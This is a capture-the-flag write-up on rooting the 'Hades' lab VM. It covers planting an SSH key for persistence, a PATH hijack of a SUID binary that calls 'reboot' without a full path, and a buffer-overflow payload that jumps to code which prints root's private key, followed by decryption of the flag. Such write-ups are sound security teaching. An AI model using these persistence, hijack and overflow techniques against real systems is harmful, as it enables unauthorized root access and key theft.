published on in writeup
tags: hades

The Infernal: Hades - Part 2

SSH Persistence

With shell access as loki, I did some standard system enumeration and found that he was the only user, and that SSH was running. Loki didn’t have a .ssh directory in his home folder, so I created one and popped my public SSH key into authorized_keys.

If you cat loki’s .bash_history file, you get a small troll from lok_sigma.

[email protected]:~$ cat .bash_history
Really?  Not that kind of challenge....

Poking around, I found a few more interesting files.

[email protected]:/$ ls -la /
drwxr-xr-x  2 root root  4096 Mar 18 20:31 display_root_ssh_key
-r--------  1 root root  9984 Mar 19 17:27 key_file
  
[email protected]:/$ ls -la /display_root_ssh_key/
-rw-------  1 root root      1 Mar 19 19:38 counter
-rwsr-sr-x  1 root root 273048 Mar 18 20:31 display_key
  
[email protected]:/display_root_ssh_key$ file display_key 
display_key: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

Looks like another binary with the SUID bit set, and is owned by root. I gave it a little poke and…

[email protected]:/display_root_ssh_key$ ./display_key 
    Ready to dance?
Enter password: 
lok_sigma
[email protected]:/display_root_ssh_key$ ./display_key 
    Ready to dance?
Enter password: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Broadcast message from [email protected]
    (/dev/pts/1) at 2:20 ...
The system is going down for reboot NOW!
Connection to 192.168.127.128 closed by remote host.
Connection to 192.168.127.128 closed.

The damn VM just rebooted itself! I thought perhaps this may’ve been because I entered a long string of A’s, but I tried it again with normal words and the same thing happened. I downloaded the file to my Kali VM for analysis.

Give me Key!

[email protected]:~/hades# checksec --file display_key
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   display_key
[email protected]:~/hades# strings display_key | less
cat /root/.ssh/id_rsa
rt0oun
     Ready to danc
EE patword:
FATAL
  
$Info: This file is a doozy.  I hope you like it.  This *is* the right one, and when you exploit it you will get what you need.  Read the instructions. $

This binary is designed to display the private SSH key of the root user (which is why it needs to run as root). I moved my sbin/reboot file to sbin/reboot.bk in the hope that this would stop my VM from rebooting, and ran the binary through strace.

[email protected]:~/hades# strace -i -ff ./display_key 
[080568ee] open("counter", O_RDONLY)    = -1 ENOENT (No such file or directory)
[08049d8b] --- SIGSEGV (Segmentation fault) @ 0 (0) ---
[????????] +++ killed by SIGSEGV +++
Segmentation fault

It crashes because it can’t open the counter file. The file permission on hades were such that I couldn’t download the real counter file, so I just created an empty file (touch counter).

I followed it through a few times until it tried to reboot again and saw the following:

[pid  2949] [b77d0424] stat64("/usr/local/sbin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory)
[pid  2949] [b77d0424] stat64("/usr/local/bin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory)
[pid  2949] [b77d0424] stat64("/usr/sbin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory)
[pid  2949] [b77d0424] stat64("/usr/bin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory)
[pid  2949] [b77d0424] stat64("/sbin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory)
[pid  2949] [b77d0424] stat64("/bin/reboot", 0xbfeaa3b0) = -1 ENOENT (No such file or directory)
[pid  2949] [b77d0424] write(2, "sh: 1: ", 7sh: 1: ) = 7
[pid  2949] [b77d0424] write(2, "reboot: not found", 17reboot: not found) = 17
[pid  2949] [b77d0424] write(2, "\n", 1

v1 Bug

This shows that reboot is executed, but an absolute path is not coded into the binary, which is why it cycles through each of the envronmental paths (PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin). It was later reported that this was an unintentional bug in the VM, as it made it a little too easy to get root access. All that was required was to place a binary or symlink into any directory, name it reboot, and insert a new directory into the PATH variable. This could be used to execute a new instance of /bin/bash, for example, as root.

This was fixed in v1.0.1 of the challenge.

A Man’s Solution!

I was able to crash the application by sending 100 A’s as a password. I loaded it up in GDB to confirm.

[email protected]:~/hades# gdb ./display_key -q
Enter password: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
  
(gdb) i r
eax            0x7f00   32512
ecx            0xbfffe394   -1073749100
edx            0x0  0
ebx            0x0  0
esp            0xbfffe4c0   0xbfffe4c0
ebp            0x41414141   0x41414141
esi            0x8048a20    134515232
edi            0xa5325e00   -1523425792
eip            0x41414141   0x41414141

It looks like I can own EDP and EIP. Even though I sent 100 A’s, it looks like only 24 are getting to the stack.

(gdb) x/20x $esp
0xbfffe4c0: 0xbfffe400  0x00000019  0x080ca7e0  0x00000001
0xbfffe4d0: 0xbfffe4e8  0x41048e97  0x41414141  0x41414141
0xbfffe4e0: 0x41414141  0x41414141  0x41414141  0x00414141
0xbfffe4f0: 0x00000001  0xbfffe58c  0xbfffe594  0x00000000
0xbfffe500: 0x00000000  0x00000000  0x00000000  0x00000000

EIP is overwritten at 20 bytes and EDP at 16.

Because the binary is stripped of symbols, it makes it really hard to debug and find functions etc. All I really needed was to jump directly to the cat instruction and bypass the password entry.

I used GDB to search blocks of memory for an instance where cat /root existed. I looked at the memory mappings to use as my address ranges.

[email protected]:~/hades# cat /proc/3490/maps
00c01000-00c02000 r-xp 00000000 08:01 1578682    /root/hades/display_key
08048000-080ca000 r-xp 00000000 00:00 0
080ca000-080ef000 rwxp 00000000 00:00 0          [heap]
b7ffd000-b7fff000 rwxp 00000000 00:00 0
b7fff000-b8000000 r-xp 00000000 00:00 0          [vdso]
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

(gdb) find /b 0x08048000, 0x080ca000, 'c', 'a', 't', ' ', '/'
0x80ab408
1 pattern found.
  
(gdb) x/s 0x80ab408
0x80ab408:   "cat /root/.ssh/id_rsa"

I tried my luck at jumping directly to this locatation, but no dice. I thought the way this was probably working, is for this to get loaded into one of the CPU registers as a variable for execv or something. Since it’s a statically linked binary, this address must be referenced in a function somewhere…

For the life of me, I couldn’t work out how to search for this in GDB. If you’re reading this and know how, please let me know.

This meant I had to manually search through areas of memory, to find if they contained a reference to this address. The way I did this was to SSH into my Kali VM with Putty, and use it’s console logging option to log everything to a text file. Then use good ole Ctrl+F. It became a case of…

x/100i 0x8048000

…and putting a weight on the Return key whilst I stepped out to read a book!

Eventually the whole section of memory (0x8048000-0x80ca000) was dumped out to a text file (1.77MB in size). I did a search for 0x80ab408 and got one hit.

0x804825a: mov DWORD PTR [esp],0x80ab408

I went to that area of memory to see which instructions surrounded it.

0x8048254:     push   ebp
0x8048255:     mov    ebp,esp
0x8048257:     sub    esp,0x18
0x804825a:     mov    DWORD PTR [esp],0x80ab408
0x8048261:     call   0x80493a0
0x8048266:     leave 
0x8048267:     ret

I also had a look at 0x80493a0, which contained a Push EBP instruction. Before trying to screw around too much, I thought I’d try and jump to 0x804825a

[email protected]:~/hades# python -c 'print ("A" * 20) + "\x5a\x82\x04\x08"' | ./display_key 
    Ready to dance?
Enter password: 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvggYLQeERLoR4kjgJqU1GIWvcKaieMOfrwv4p/1o+VRUTdeA
[...snip...]
x1Xlob/xYTUViso5Exxd8y72SvglgBT7M+g8bSbXMdq4EO3GKfIF
-----END RSA PRIVATE KEY-----
Segmentation fault

The application still seg faults, but at least my exploit worked!

Get to da Flag

I coped the hades root private key to my Kali VM, and was able to SSH in as root :)

[email protected]:~/hades# ssh root @ 192.168.127.128 -i private_key 
[email protected]:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

[email protected]:~# ls -la /root/
-rw-r--r--  1 root root 3376 Mar 19 19:05 flag.txt.enc

This file is encrypted with OpenSSL, as given away by the file header.

[email protected]:~/hades# strings flag.txt.enc | head
Salted__

I remembered the notes file I originally found in loki’s home dir:

AES 256 CBC
Good for you and good for me.

At first I tried this phrase as a key within OpenSSL:

[email protected]:~/hades# openssl enc -d -aes-256-cbc -in flag.txt.enc -k "Good for you and good for me" -out flag.txt
bad decrypt

I tried mangling the phrase, but nothing worked. I eventually remembered the key_file and after feeding this into OpenSSL, the file was successfully decrypted!

[email protected]:~/hades# openssl enc -d -aes-256-cbc -in flag.txt.enc -pass file:key_file -out flag.txt